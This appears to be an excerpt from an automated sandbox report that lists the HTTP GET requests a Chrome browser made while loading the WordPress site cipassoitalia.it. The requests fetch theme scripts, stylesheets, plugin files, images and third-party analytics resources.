Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/avia-snippet-widget.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/dynamic_avia/enfold.css?ver=6335ddf9ba942 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/custom.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-public.js?ver=3.0.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-compat.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-public.js?ver=3.0.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-compat.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/shortcodes.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/05/Cipasso_simbolo3.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/shortcodes.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /metrika/tag.js HTTP/1.1Host: mc.yandex.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/05/Cipasso_simbolo3.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
